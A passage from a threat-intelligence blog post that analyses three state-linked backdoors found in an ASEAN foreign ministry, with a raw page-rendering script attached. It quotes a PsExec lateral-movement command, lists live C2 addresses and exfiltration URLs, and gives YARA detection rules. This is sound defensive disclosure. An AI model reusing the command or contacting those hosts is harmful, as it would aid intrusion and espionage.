in both operating modes. This flag empowers the malware to select between utilizing SSL encryption during its interactions with the C2 server or plain text communication.\n\nIn passive listening mode, the malware opens a listening socket on the port indicated in its configuration.\n\nWhen operating in active connection mode, the malware attempts to load its configuration from the file `c:\\users\\public\\iconcache.mui`. In the event that this file is not found, the malware falls back to its hardcoded configuration to acquire the necessary IPs\n\nThe author employs a global variable embedded in the source code to select between modes. Importantly, both are included in the binary, with only one being executed based on the selection. Leaving this dormant capability in the binary may have been a mistake, but one that helps researchers understand the technical maturity of this group. Generally speaking, malware authors benefit from removing unused code that may be used against them.\n\n\n\n\n**_Note: In C programming, modularity is achieved through the use of #define directives to selectively include or exclude code parts in the compiled binary. However, the malware developer employed a less advisable approach in this case. They utilized static global variables whose values are set during compilation. Consequently, the resulting binary contains both utilized and unused functions. During runtime, the binary assesses the value of these static global variables to determine its behavior. Though functional, this is neither the best programming nor tradecraft practice as it permits analysis and detection engineering of code used outside the identified intrusion._**\n\nThe malware has the capability to detect the presence of an HTTP proxy configuration on the host machine by inspecting the `ProxyEnable` registry key within `Software\\Microsoft\\windows\\CurrentVersion\\Internet Settings`. If this key value is set to `1`, the malware extracts the information in the `ProxyServer` key. \n\nIf no proxy server is set, the malware connects directly to C2. \n\nHowever, if the proxy settings are defined, the malware also initializes the proxy by sending a `CONNECT` request, and its data to the configured destination. The malware author made a typo in the HTTP request code; they mistakenly wrote `DONNECT` instead of `CONNECT` in the HTTP request string in the binary. This is a reliably unique indicator for those analyzing network captures.\n\t\n\n\n\nUpon establishing a connection to C2, The malware downloads executable files from C2, likely pushed automatically. It validates that each executable is 64bit, then extracts the entry point and modifies memory protections to allow execution using the VirtualProtect API.\n\n\n\n\n### EAGERBEE connection to a Mongolian campaign\n\nDuring our EAGERBEE analysis, we also saw an additional two (previously unnamed) EAGERBEE [samples](https://www.virustotal.com/gui/search/09005775FC587AC7BF150C05352E59DC01008B7BF8C1D870D1CEA87561AA0B06%250AA191D8059E93C0AB479DE45CDD91C41B985F9BCCD7B2CAD9F171FEA1C5F19E2E/files) involved in a targeted campaign focused on Mongolia. These two EAGERBEE samples were both respectively bundled with other files and used a similar naming convention (`iconcache.mui` for EAGERBEE and `iconcaches.mui` in the Mongolian campaign). The samples consisted of multiple files and a lure document.\n\n\n\n\nWhile analyzing the Mongolian campaign samples, we found a previous [webpage](https://www.virustotal.com/gui/url/7e0d899d54c6a0f43fbac0e633d821eefa9057e29df8c4956321fe947daaaa54) (`http://president[.]mn/en/ebooksheets.php`) hosted under Mongolian infrastructure serving a [RAR file](https://www.virustotal.com/gui/file/af8cb76d9d955d654ec89b85d1ab35e1886ec2ba1a8c600a451d1bd383fb4e66/detection) named `20220921_2.rar`. Given the VirusTotal scan date of the file and the filename, it is likely to have been created in September 2022.\n\nThe lure text is centered around the regulations for the “Billion Trees National Movement Fund” and has been an important [topic](https://thediplomat.com/2022/06/mongolias-1-billion-tree-movement/) in recent years related to an initiative taken on by Mongolia. To address food security, climate impacts, and naturally occurring but accelerating desertification, Mongolia’s government has undertaken an ambitious goal of planting one billion trees throughout the country.\n\n\n\n\nFor this infection chain, they leveraged a signed Kaspersky application in order to sideload a [malicious DLL](https://www.virustotal.com/gui/file/4b3dc8609cba089e666b2086264e6f71dada57fdb3f160d2f5e546881a278766/relations). Upon execution, sensitive data and files were collected from the machine and uploaded to a hard-coded Mongolian government URL (`www.president[.]mn/upload.php`) via cURL. Persistence is configured using a Registry Run Key.\n\n\n\n\n**_Note: Though it does not contain the .gov second-level domain, www.president[.]mn does appear to be the official domain of the President of Mongolia, and is hosted within government infrastructure. Abuse email is directed to oyunbold@datacenter.gov[.]mn which appears to be legitimate._** Based on string formatting and underlying behavior, this sample aligns with public [reporting](https://decoded.avast.io/luigicamastra/apt-group-targeting-governmental-agencies-in-east-asia/) from AVAST related to a utility they call DataExtractor1.\n\n\n\n\nWhile we didn’t find a WinRAR archive for the other linked sample, we found this related [executable](https://www.virustotal.com/gui/file/a191d8059e93c0ab479de45cdd91c41b985f9bccd7b2cad9f171fea1c5f19e2e). It functions similarly, using a different callback domain hosted on Mongolian infrastructure (`https://intranet.gov[.]mn/upload.php`).\n\n\n\n\nWhile it is not clear how this infrastructure was compromised or the extent to which it has been used, impersonating trusted systems may have enabled the threat to compromise other victims and collect intelligence.\n\n### EAGERBEE Summary\n\nEAGERBEE is a technically straightforward backdoor with forward and reverse C2 and SSL encryption capabilities, used to conduct basic system enumeration and deliver subsequent executables for post-exploitation. The C2 mode is defined at compile time, and configurable with an associated config file with hardcoded fallback.\n\nUsing code overlap analysis, and the fact that EAGERBEE was bundled with other samples from VirusTotal, we identified a C2 server hosted on Mongolian government infrastructure. The associated lure documents also reference Mongolian government policy initiatives. This leads us to believe that the Mongolian government or non-governmental organizations (NGOs) may have been targeted by the REF2924 threat actor.\n\n## RUDEBIRD\n\nWithin the contested REF2924 environment, Elastic Security Labs identified a lightweight Windows backdoor that communicates over HTTPS and contains capabilities to perform reconnaissance and execute code. We refer to this malware family as RUDEBIRD.\n\n### Initial execution\n\nThe backdoor was executed by a file with an invalid signature, `C:\\Windows\\help\\RVTDM.exe`, which resembles the Sysinternals screen magnifier utility ZoomIt. Shortly after being executed, Elastic Defend registered a process injection alert. \n\n\n\n\nThe process was executed with the parent process (`w3wp.exe`) coming from a Microsoft Exchange application pool. This is consistent with the exploitation of an unpatched Exchange vulnerability, and prior research supports that hypothesis.\n\n### Lateral movement\n\nRUDEBIRD used PsExec (`exec.exe`) to execute itself from the SYSTEM account and then move laterally from victim 0 to another targeted host. It is unclear if PsExec was brought to the environment by the threat actor or if it was already present in the environment. \n\n`\"C:\\windows\\help\\exec.exe\" /accepteula \\\\{victim-1} -d -s C:\\windows\\debug\\RVTDM.EXE`\n\n### Code analysis\n\nRUDEIBIRD is composed of shellcode that resolves imports dynamically by accessing the Thread Environment Block (TEB) / Process Environment Block (PEB) and walking the loaded modules to find base addresses for the `kernel32.dll` and `ntdll.dll` modules. These system DLLs contain crucial functions that will be located by the malware in order to interact with the Windows operating system.\n\n\n\n\nRUDEBIRD uses a straightforward API hashing algorithm with multiplication (`0x21`) and addition that is [publicly available](https://github.com/OALabs/hashdb/blob/main/algorithms/mult21_add.py) from OALabs. This provides defense against static-analysis tools that analysts may use to inspect the import table and discern what capabilities a binary has.\n\n\n\n\nAfter resolving the libraries, there is an initial enumeration function that collects several pieces of information including:\n* Hostname\n* Computer name\n* Username\n* IP Address\n* System architecture\n* Privilege of the current user\n\nFor some functions that return larger amounts of data, the malware implements compression using `RtlCompressBuffer`. The malware communicates using HTTPS to IP addresses loaded in memory from its configuration. We observed two IP addresses in the configuration in our sample:\n\n* `45.90.58[.]103`\n* `185.195.237[.]123`\n\nStrangely, there are several functions throughout the program that include calls to `OutputDebugStringA`. This function is typically used during the development phase and serves as a mechanism to send strings to a debugger while testing a program. Normally, these debug messages are expected to be removed after development is finished. For example, the result of the administrator check is printed if run inside a debugger.\n\n\n\n\nRUDEBIRD uses mutexes to maintain synchronization throughout its execution. On launch, the mutex is set to `VV.0`.\n\n\n\n\nAfter the initial enumeration stage, RUDEBIRD operates as a traditional backdoor with the following capabilities:\n* Retrieve victim’s desktop directory path\n* Retrieve disk volume information \n* Perform file/directory enumeration\n* Perform file operations such as reading/writing file content\n* Launch new processes\n* File/folder operations such as creating new directories, move/copy/delete/rename files\n* Beacon timeout option\n\n## DOWNTOWN (SManager/PhantomNet)\n\nIn the REF2924 environment, we observed a modular implant we call DOWNTOWN. This sample shares a plugin architecture, and code similarities, and aligns with the victimology described in the publicly reported malware [SManager/PhantomNet](https://malpedia.caad.fkie.fraunhofer.de/details/win.smanager). While we have little visibility into the impacts of its overall use, we wanted to share any details that may help the community. \n\nSManager/PhantomNet has been attributed to [TA428](https://malpedia.caad.fkie.fraunhofer.de/actor/ta428) (Colourful Panda, BRONZE DUDLEY), a threat actor likely sponsored by the Chinese government. Because of the shared plugin architecture, code similarities, and victimology, we are attributing DOWNTOWN with a moderate degree of confidence to a nationally sponsored Chinese threat actor.\n\n### Code analysis\n\nFor DOWNTOWN, we collected the plugin from a larger framework. This distinction is made based on unique and shared exports from previously published [research](https://www.welivesecurity.com/2020/12/17/operation-signsight-supply-chain-attack-southeast-asia/) by ESET. One of the exports contains the same misspelling previously identified in the ESET blog, `GetPluginInfomation` (note: `Infomation` is missing an `r`). The victimology of REF2924 is consistent with their reported victim vertical and region.\n\n\n\n\nIn our sample, the plugin is labeled as “ExplorerManager”. \n\n\n\n\nThe majority of the code appears to be centered around middleware functionality (linked lists, memory management, and thread synchronization) used to task the malware. \n\n\n\n\nIn a similar fashion to RUDEBIRD above, DOWNTOWN also included the debug functionality using `OutputDebugStringA`. Again, debugging frameworks are usually removed once the software is moved from development to production status. This could indicate that this module is still in active development or a lack of operational scrutiny by the malware author(s).\n\n\n\n\nSome functionality observed in the sample included:\n* File/folder enumeration\n* Disk enumeration\n* File operations (delete/execute/rename/copy)\n\nUnfortunately, our team did not encounter any network/communication functionality or find any domain or IP addresses tied to this sample. \n\n### DOWNTOWN Summary\n\nDOWNTOWN is part of a modular framework that shows probable ties to an established threat group. The observed plugin appears to provide middleware functionality to the main implant and contains several functions to perform enumeration.\n\n## Network infrastructure intersection\n\nWhen performing an analysis of the network infrastructure for EAGERBEE and RUDEBIRD, we identified similarities in the domain hosting provider, subdomain naming, registration dates, and service enablement between the two malware families’ C2 infrastructure. Additionally, we were able to use TLS leaf certificate fingerprints to establish another connection between EAGERBEE and the Mongolian campaign infrastructure.\n\n### Shared network infrastructure\n\nAs identified in the malware analysis section for EAGERBEE, there were two IP addresses used for C2: `185.82.217[.]164` and `195.123.245[.]79`.\n\nOf the two, `185.82.217[.]164` had an expired TLS certificate registered to it for `paper.hosted-by-bay[.]net`. The subdomain registration for `paper.hosted-by-bay[.]net` and the TLS certificate were registered on December 14, 2020.\n\n![paper.hosted-by-bay[.]net TLS certificate](/assets/images/introducing-the-ref5961-intrusion-set/image17.jpg)\n\n\nAs identified in the malware analysis section for RUDEBIRD, there were two IP addresses used for C2: `45.90.58[.]103` and `185.195.237[.]123`.\n\n`45.90.58[.]103` was used to register the subdomain `news.hosted-by-bay[.]net`, on December 13, 2020.\n\nBoth IP addresses (one from EAGERBEE and one from RUDEBIRD) were assigned to subdomains (`paper.hosted-by-bay[.]net` and `news.hosted-by-bay[.]net`) within one day at the domain `hosted-by-bay[.]net`.\n\n**_Note: While `195.123.245[.]79` (EAGERBEE) and `185.195.237[.]123` (RUDEBIRD) are malicious, we were unable to identify anything atypical of normal C2 nodes. They used the same defense evasion technique (described below) used by `185.82.217[.]164` (EAGERBEE) and `45.90.58[.]103` (RUDEBIRD)._**\n\n### Domain analysis\n\nWhen performing an analysis of the `hosted-by-bay[.]net` domain, we see that it is registered to the IP address `45.133.194[.]106`. This IP address exposes two TCP ports, one is the expected TLS port of `443`, and the other is `62753`.\n\n**_Note: Port `443` has a Let’s Encrypt TLS certificate for `paypal.goodspaypal[.]com`. This domain does not appear to be related to this research but should be categorized as malicious based on its registration to this IP._**\n\nOn port `62753`, there was a self-signed wildcard TLS leaf certificate with a fingerprint of `d218680140ad2c6e947bf16020c0d36d3216f6fc7370c366ebe841c02d889a59` (`*.REDACTED[.]mn`). This fingerprint is used for one host, `shop.REDACTED[.]mn`. The 10-year TLS certificate was registered on December 13, 2020.\n\n```\nValidity\nNot Before: 2020-12-13 11:53:20\nNot After: 2030-12-11 11:53:20\nSubject: CN=shop.REDACTED[.]mn\n```\n\n`.mn` is the Internet ccTLD for Mongolia and REDACTED is a large bank in Mongolia. When researching the network infrastructure for REDACTED, we can see that they do currently own their DNS infrastructure.\n\nIt does not appear that `shop.REDACTED[.]mn` was ever registered. This self-signed TLS certificate was likely used to encrypt C2 traffic. While we cannot confirm that this certificate was used for EAGERBEE or RUDEBIRD, in the malware code analysis of both EAGERBEE and RUDEBIRD, we identified that TLS to an IP address is an available malware configuration option. We do believe that this domain is related to EAGERBEE and RUDEBIRD based on the registration dates, IP addresses, and subdomains of the `hosted-by-bay[.]net` domain.\n\nAs noted in the EAGERBEE malware analysis, we identified two other previously unnamed EAGERBEE samples used to target Mongolian victims and also leveraged Mongolian C2 infrastructure.\n\n### Defense evasion\n\nFinally, we see all of the C2 IP addresses add and remove services at similar dates and times. This is a tactic to hinder the analysis of the C2 infrastructure by limiting its availability. It should be noted that the history of the service enablement and disablement (provided by [Censys.io](https://search.censys.io/) databases) is meant to show possible coordination in C2 availability. The images below show the last service change windows, further historical data was not available.\n\n`192.123.245[.]79` had TCP port `80` enabled on September 22, 2023 at 07:31 and then disabled on September 24, 2023 at 07:42.\n\n![192.123.245[.]79 C2 service windows](/assets/images/introducing-the-ref5961-intrusion-set/image6.jpg)\n\n\n`185.195.237[.]123` had TCP port `443` enabled on September 22, 2023 at 03:33 and then disabled on September 25, 2023 at 08:08.\n\n![185.195.237[.]123 C2 service windows](/assets/images/introducing-the-ref5961-intrusion-set/image23.jpg)\n\n\n`185.82.217[.]164` had TCP port `443` enabled on September 22, 2023 at 08:49 and then disabled on September 25, 2023 at 01:02.\n\n![185.82.217[.]164 C2 service windows](/assets/images/introducing-the-ref5961-intrusion-set/image20.jpg)\n\n\n`45.90.58[.]103` had TCP port `443` enabled on September 22, 2023 at 04:46 and then disabled on September 24, 2023 at 09:57.\n\n![45.90.58[.]103 C2 service windows](/assets/images/introducing-the-ref5961-intrusion-set/image10.jpg)\n\n\n### Network intersection summary\n\nEAGERBEE and RUDEBIRD are two malware samples, co-resident on the same infected endpoint, in the same environment. This alone builds a strong association between the families. \n\nWhen adding the fact that both families use C2 endpoints that have been used to register subdomains on the same domain `hosted-by-bay[.]net`), and the service availability coordination, leads us to say with a high degree of confidence that the malware and campaign operators are from the same tasking authority, or organizational umbrella.\n\n## Summary\n\nEAGERBEE, RUDEBIRD, and DOWNTOWN backdoors all exhibit characteristics of incompleteness whether using “Test” in file/service names, ignoring compilation best practices, leaving orphaned code, or leaving a smattering of extraneous debug statements.\n\nThey all, however, deliver similar tactical capabilities in the context of this environment.\n* Local enumeration\n* Persistence\n* Download/execute additional tooling\n* C2 options\n\nThe variety of tooling performing the same or similar tasks with varying degrees and types of miscues causes us to speculate that this environment has attracted the interest of multiple players in the REF2924 threat actor’s organization. The victim's status as a government diplomatic agency would make it an ideal candidate as a stepping-off point to other targets within and outside the agency’s national borders. Additionally, it is easy to imagine that multiple entities within a national intelligence apparatus would have collection requirements that could be satisfied by this victim directly. \n\nThis environment has already seen the emergence of the REF2924 intrusion set (SIESTAGRAPH, NAPLISTENER, SOMNIRECORD, and DOORME), as well as the deployment of SHADOWPAD and COBALTSTRIKE. The REF2924 and REF5961 threat actor(s) continue to deploy new malware into their government victim’s environment.\n\n## REF5961 and MITRE ATT\u0026CK\n\nElastic uses the [MITRE ATT\u0026CK](https://attack.mitre.org/) framework to document common tactics, techniques, and procedures that advance persistent threats used against enterprise networks.\n\n### Tactics\n\nTactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.\n* EAGERBEE\n * [Defense Evasion](https://attack.mitre.org/tactics/TA0005/)\n * [Discovery](https://attack.mitre.org/tactics/TA0007/)\n * [Command and Control](https://attack.mitre.org/tactics/TA0011/)\n * [Execution](https://attack.mitre.org/tactics/TA0002/)\n* RUDEBIRD\n * [Defense Evasion](https://attack.mitre.org/tactics/TA0005/)\n * [Collection](https://attack.mitre.org/tactics/TA0009/)\n * [Command and Control](https://attack.mitre.org/tactics/TA0011/)\n * [Discovery](https://attack.mitre.org/tactics/TA0007/)\n * [Lateral Movement](https://attack.mitre.org/tactics/TA0008/)\n * [Execution](https://attack.mitre.org/tactics/TA0002/)\n* DOWNTOWN\n * [Discovery](https://attack.mitre.org/tactics/TA0007/)\n * [Collection](https://attack.mitre.org/tactics/TA0009/)\n\n### Techniques\n\nTechniques represent how an adversary achieves a tactical goal by performing an action.\n* EAGERBEE\n * [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027/)\n * [System Information Discovery](https://attack.mitre.org/techniques/T1082/)\n * [Exfiltration Over C2 Channel](https://attack.mitre.org/techniques/T1041/)\n * [Proxy](https://attack.mitre.org/techniques/T1090/)\n * [Process Injection](https://attack.mitre.org/techniques/T1055/)\n* RUDEBIRD\n * [File and Directory Discovery](https://attack.mitre.org/tactics/TA0007/#:~:text=T1083-,File%20and%20Directory%20Discovery,-Adversaries%20may%20enumerate)\n * [System Information Discovery](https://attack.mitre.org/techniques/T1082)\n * [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059)\n * [Lateral Tool Transfer](https://attack.mitre.org/techniques/T1570/)\n * [Data from Local System](https://attack.mitre.org/techniques/T1005)\n* DOWNTOWN\n * [File and Directory Discovery](https://attack.mitre.org/tactics/TA0007/#:~:text=T1083-,File%20and%20Directory%20Discovery,-Adversaries%20may%20enumerate)\n * [System Information Discovery](https://attack.mitre.org/techniques/T1082)\n\n## Malware prevention capabilities\n* [EAGERBEE](https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_EagerBee.yar)\n* [RUDEBIRD](https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_RudeBird.yar)\n* [DOWNTOWN](https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_DownTown.yar)\n\n## YARA\n\nElastic Security has created YARA rules to identify this activity. Below are YARA rules to identify the EAGERBEE, RUDEBIRD, and DOWNTOWN malware:\n\n### EAGERBEE\n```\nrule Windows_Trojan_EagerBee_1 {\n meta:\n author = \"Elastic Security\"\n creation_date = \"2023-05-09\"\n last_modified = \"2023-06-13\"\n threat_name = \"Windows.Trojan.EagerBee\"\n reference_sample = \"09005775fc587ac7bf150c05352e59dc01008b7bf8c1d870d1cea87561aa0b06\"\n license = \"Elastic License v2\"\n os = \"windows\"\n\n strings:\n $a1 = { C2 EB D6 0F B7 C2 48 8D 0C 80 41 8B 44 CB 14 41 2B 44 CB 0C 41 }\n $a2 = { C8 75 04 33 C0 EB 7C 48 63 41 3C 8B 94 08 88 00 00 00 48 03 D1 8B }\n\n condition:\n all of them\n}\n\nrule Windows_Trojan_EagerBee_2 {\n meta:\n author = \"Elastic Security\"\n creation_date = \"2023-09-04\"\n last_modified = \"2023-09-20\"\n threat_name = \"Windows.Trojan.EagerBee\"\n reference_sample = \"339e4fdbccb65b0b06a1421c719300a8da844789a2016d58e8ce4227cb5dc91b\"\n license = \"Elastic License v2\"\n os = \"windows\"\n\n strings:\n $dexor_config_file = { 48 FF C0 8D 51 FF 44 30 00 49 03 C4 49 2B D4 ?? ?? 48 8D 4F 01 48 }\n $parse_config = { 80 7C 14 20 3A ?? ?? ?? ?? ?? ?? 45 03 C4 49 03 D4 49 63 C0 48 3B C1 }\n $parse_proxy1 = { 44 88 7C 24 31 44 88 7C 24 32 48 F7 D1 C6 44 24 33 70 C6 44 24 34 3D 88 5C 24 35 48 83 F9 01 }\n $parse_proxy2 = { 33 C0 48 8D BC 24 F0 00 00 00 49 8B CE F2 AE 8B D3 48 F7 D1 48 83 E9 01 48 8B F9 }\n\n condition:\n 2 of them\n}\n```\n\n### RUDEBIRD\n```\nrule Windows_Trojan_RudeBird {\n meta:\n author = \"Elastic Security\"\n creation_date = \"2023-05-09\"\n last_modified = \"2023-06-13\"\n threat_name = \"Windows.Trojan.RudeBird\"\n license = \"Elastic License v2\"\n os = \"windows\"\n\n strings:\n $a1 = { 40 53 48 83 EC 20 48 8B D9 B9 D8 00 00 00 E8 FD C1 FF FF 48 8B C8 33 C0 48 85 C9 74 05 E8 3A F2 }\n\n condition:\n all of them\n}\n```\n\n### DOWNTOWN\n```\nrule Windows_Trojan_DownTown_1 {\n meta:\n author = \"Elastic Security\"\n creation_date = \"2023-05-10\"\n last_modified = \"2023-06-13\"\n threat_name = \"Windows.Trojan.DownTown\"\n license = \"Elastic License v2\"\n os = \"windows\"\n\n strings:\n $a1 = \"SendFileBuffer error -1 !!!\" fullword\n $a2 = \"ScheduledDownloadTasks CODE_FILE_VIEW \" fullword\n $a3 = \"ExplorerManagerC.dll\" fullword\n\n condition:\n 3 of them\n}\n\nrule Windows_Trojan_DownTown_2 {\n meta:\n author = \"Elastic Security\"\n creation_date = \"2023-08-23\"\n last_modified = \"2023-09-20\"\n threat_name = \"Windows.Trojan.DownTown\"\n license = \"Elastic License v2\"\n os = \"windows\"\n\n strings:\n $a1 = \"DeletePluginObject\"\n $a2 = \"GetPluginInfomation\"\n $a3 = \"GetPluginObject\"\n $a4 = \"GetRegisterCode\"\n\n condition:\n all of them\n}\n```\n\n## Observations\n\nAll observables are also available for [download](https://github.com/elastic/labs-releases/tree/main/indicators/ref5961) in both ECS and STIX format.\n\nThe following observables were discussed in this research.\n\n| Observable | Type | Name | Reference |\n|------------------------------------------------------------------|---------|--------------------|----------------|\n| `ce4dfda471f2d3fa4e000f9e3839c3d9fbf2d93ea7f89101161ce97faceadf9a` | SHA-256 | EAGERBEE shellcode | iconcaches.mui |\n| `29c90ac124b898b2ff2a4897921d5f5cc251396e8176fc8d6fa475df89d9274d` | SHA-256 | DOWNTOWN | In-memory DLL |\n| `185.82.217[.]164` | ipv4 | EAGERBEE C2 | |\n| `195.123.245[.]79` | ipv4 | EAGERBEE C2 | |\n| `45.90.58[.]103` | ipv4 | RUDEBIRD C2 | |\n| `185.195.237[.]123` | ipv4 | RUDEBIRD C2 | |\n\n## References\n\nThe following were referenced throughout the above research:\n* [https://www.elastic.co/security-labs/siestagraph-new-implant-uncovered-in-asean-member-foreign-ministry](https://www.elastic.co/security-labs/siestagraph-new-implant-uncovered-in-asean-member-foreign-ministry) \n* [https://www.elastic.co/security-labs/update-to-the-REF2924-intrusion-set-and-related-campaigns](https://www.elastic.co/security-labs/update-to-the-REF2924-intrusion-set-and-related-campaigns) \n* [https://thediplomat.com/2022/06/mongolias-1-billion-tree-movement/](https://thediplomat.com/2022/06/mongolias-1-billion-tree-movement/) \n* [https://decoded.avast.io/luigicamastra/apt-group-targeting-governmental-agencies-in-east-asia/](https://decoded.avast.io/luigicamastra/apt-group-targeting-governmental-agencies-in-east-asia/) \n* [https://github.com/OALabs/hashdb/blob/main/algorithms/mult21_add.py](https://github.com/OALabs/hashdb/blob/main/algorithms/mult21_add.py) \n* [https://malpedia.caad.fkie.fraunhofer.de/details/win.smanager](https://malpedia.caad.fkie.fraunhofer.de/details/win.smanager)\n* [https://malpedia.caad.fkie.fraunhofer.de/actor/ta428](https://malpedia.caad.fkie.fraunhofer.de/actor/ta428) \n* [https://www.welivesecurity.com/2020/12/17/operation-signsight-supply-chain-attack-southeast-asia/](https://www.welivesecurity.com/2020/12/17/operation-signsight-supply-chain-attack-southeast-asia/) \n","code":"var Component=(()=\u003e{var h=Object.create;var r=Object.defineProperty;var m=Object.getOwnPropertyDescriptor;var u=Object.getOwnPropertyNames;var g=Object.getPrototypeOf,p=Object.prototype.hasOwnProperty;var f=(n,e)=\u003e()=\u003e(e||n((e={exports:{}}).exports,e),e.exports),w=(n,e)=\u003e{for(var t in e)r(n,t,{get:e[t],enumerable:!0})},s=(n,e,t,o)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let a of u(e))!p.call(n,a)\u0026\u0026a!==t\u0026\u0026r(n,a,{get:()=\u003ee[a],enumerable:!(o=m(e,a))||o.enumerable});return n};var b=(n,e,t)=\u003e(t=n!=null?h(g(n)):{},s(e||!n||!n.__esModule?r(t,\"default\",{value:n,enumerable:!0}):t,n)),y=n=\u003es(r({},\"__esModule\",{value:!0}),n);var d=f((C,l)=\u003e{l.exports=_jsx_runtime});var D={};w(D,{default:()=\u003eT,frontmatter:()=\u003eE});var i=b(d()),E={title:\"Introducing the REF5961 intrusion set\",slug:\"introducing-the-ref5961-intrusion-set\",date:\"2023-10-04\",description:\"The REF5961 intrusion set discloses three new malware families targeting ASEAN members. The threat actor leveraging this intrusion set continues to develop and mature their capabilities.\",author:[{slug:\"daniel-stepanic\"},{slug:\"salim-bitam\"},{slug:\"cyril-francois\"},{slug:\"seth-goodwin\"},{slug:\"andrew-pease\"}],image:\"photo-edited-08@2x.jpg\",category:[{slug:\"security-research\"},{slug:\"malware-analysis\"}],tags:[\"security-research\",\"malware-analysis\",\"ref5961\",\"ref2924\",\"eagerbee\",\"downtown\",\"rudebird\"]};function c(n){let e=Object.assign({h2:\"h2\",p:\"p\",strong:\"strong\",a:\"a\",img:\"img\",ul:\"ul\",li:\"li\",h3:\"h3\",em:\"em\",code:\"code\",pre:\"pre\",div:\"div\",table:\"table\",thead:\"thead\",tr:\"tr\",th:\"th\",tbody:\"tbody\",td:\"td\"},n.components);return(0,i.jsxs)(i.Fragment,{children:[(0,i.jsx)(e.h2,{id:\"preamble\",children:\"Preamble\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.strong,{children:\"Updated October 11, 2023 to include links to the BLOODALCHEMY backdoor.\"})}),`\n`,(0,i.jsx)(e.p,{children:\"Elastic Security Labs continues to monitor state-aligned activity, targeting governments and multinational government organizations in Southern and Southeastern Asia. We\\u2019ve observed a batch of new and unique capabilities within a complex government environment. This intrusion set is named REF5961.\"}),`\n`,(0,i.jsx)(e.p,{children:\"In this publication, we will highlight distinctions between malware families, demonstrate relationships to known threats, describe their features, and share resources to identify or mitigate elements of an intrusion. Our intent is to help expose this ongoing activity so the community can better understand these types of threats.\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"The samples in this research were discovered to be co-residents with a previously reported intrusion set, REF2924 (original reporting \",(0,i.jsx)(e.a,{href:\"https://www.elastic.co/security-labs/siestagraph-new-implant-uncovered-in-asean-member-foreign-ministry\",rel:\"nofollow\",children:\"here\"}),\" and updated \",(0,i.jsx)(e.a,{href:\"https://www.elastic.co/security-labs/update-to-the-REF2924-intrusion-set-and-related-campaigns\",rel:\"nofollow\",children:\"here\"}),\"). The victim is the Foreign Affairs Ministry of a member of the Association of Southeast Asian Nations (ASEAN).\"]}),`\n`,(0,i.jsx)(e.p,{children:\"Elastic Security Labs describes the operators of the REF2924 and REF5961 intrusion sets as state-sponsored and espionage-motivated due to observed targeting and post-exploitation collection activity. Further, the correlation of execution flows, tooling, infrastructure, and victimology of multiple campaigns we\\u2019re tracking along with numerous third-party reports makes us confident this is a China-nexus actor.\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/introducing-the-ref5961-intrusion-set/image27.jpg\",alt:\"REF5961 intrusion execution flow\",width:\"1440\",height:\"919\"})}),`\n`,(0,i.jsxs)(e.p,{children:[\"Part of this intrusion set includes a new x86-based backdoor called BLOODALCHEMY, and it is covered in depth \",(0,i.jsx)(e.a,{href:\"https://www.elastic.co/security-labs/disclosing-the-bloodalchemy-backdoor\",rel:\"nofollow\",children:\"here\"}),\".\"]}),`\n`,(0,i.jsx)(e.h2,{id:\"key-takeaways\",children:\"Key takeaways\"}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsxs)(e.li,{children:[\"Elastic Security Labs is disclosing three new malware families:\",`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsx)(e.li,{children:\"EAGERBEE\"}),`\n`,(0,i.jsx)(e.li,{children:\"RUDEBIRD\"}),`\n`,(0,i.jsx)(e.li,{children:\"DOWNTOWN\"}),`\n`]}),`\n`]}),`\n`,(0,i.jsx)(e.li,{children:\"Code sharing and network infrastructure have connected malware in this intrusion set to other campaigns\"}),`\n`,(0,i.jsx)(e.li,{children:\"The threat actors targeting ASEAN governments and organizations continue to develop and deploy additional capabilities\"}),`\n`]}),`\n`,(0,i.jsx)(e.h2,{id:\"eagerbee\",children:\"EAGERBEE\"}),`\n`,(0,i.jsx)(e.p,{children:\"EAGERBEE is a newly identified backdoor discovered by Elastic Security Labs that loads additional capabilities using remotely-downloaded PE files, hosted in C2. However, its implementation and coding practices reveal a lack of advanced skills from the author, relying on basic techniques.\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"During our research outlined below, we identified string formatting and underlying behavior that aligns with previous research attributed to a Chinese-speaking threat actor referred to as \",(0,i.jsx)(e.a,{href:\"https://malpedia.caad.fkie.fraunhofer.de/actor/apt27\",rel:\"nofollow\",children:\"LuckyMouse\"}),\" (APT27, EmissaryPanda).\"]}),`\n`,(0,i.jsx)(e.h3,{id:\"code-analysis\",children:\"Code analysis\"}),`\n`,(0,i.jsx)(e.p,{children:\"EAGERBEE dynamically constructs its Import Address Table (IAT) during runtime, populating a designated data structure with the memory addresses of essential Windows APIs that the malware needs.\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/introducing-the-ref5961-intrusion-set/image25.png\",alt:\"EAGERBEE dynamically constructs its Import Address Table\",width:\"993\",height:\"502\"})}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.strong,{children:(0,i.jsx)(e.em,{children:\"Note: Dynamic import tables are used as an anti-analysis technique by malware authors to impair static analysis of their binaries. These techniques prevent most static analysis software from determining the imports and thus force analysts through laborious manual methods to determine what the malware is doing.\"})})}),`\n`,(0,i.jsxs)(e.p,{children:[\"After resolving all the required Windows APIs, the malware creates a mutex with the string \",(0,i.jsx)(e.code,{children:\"mstoolFtip32W\"}),\" to prevent multiple instances of the malware from running on the same machine.\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/introducing-the-ref5961-intrusion-set/image1.png\",alt:\"Mutex setup\",width:\"645\",height:\"152\"})}),`\n`,(0,i.jsx)(e.p,{children:\"The malware gathers key information about the compromised system:\"}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsxs)(e.li,{children:[\"The computer's name is obtained using the 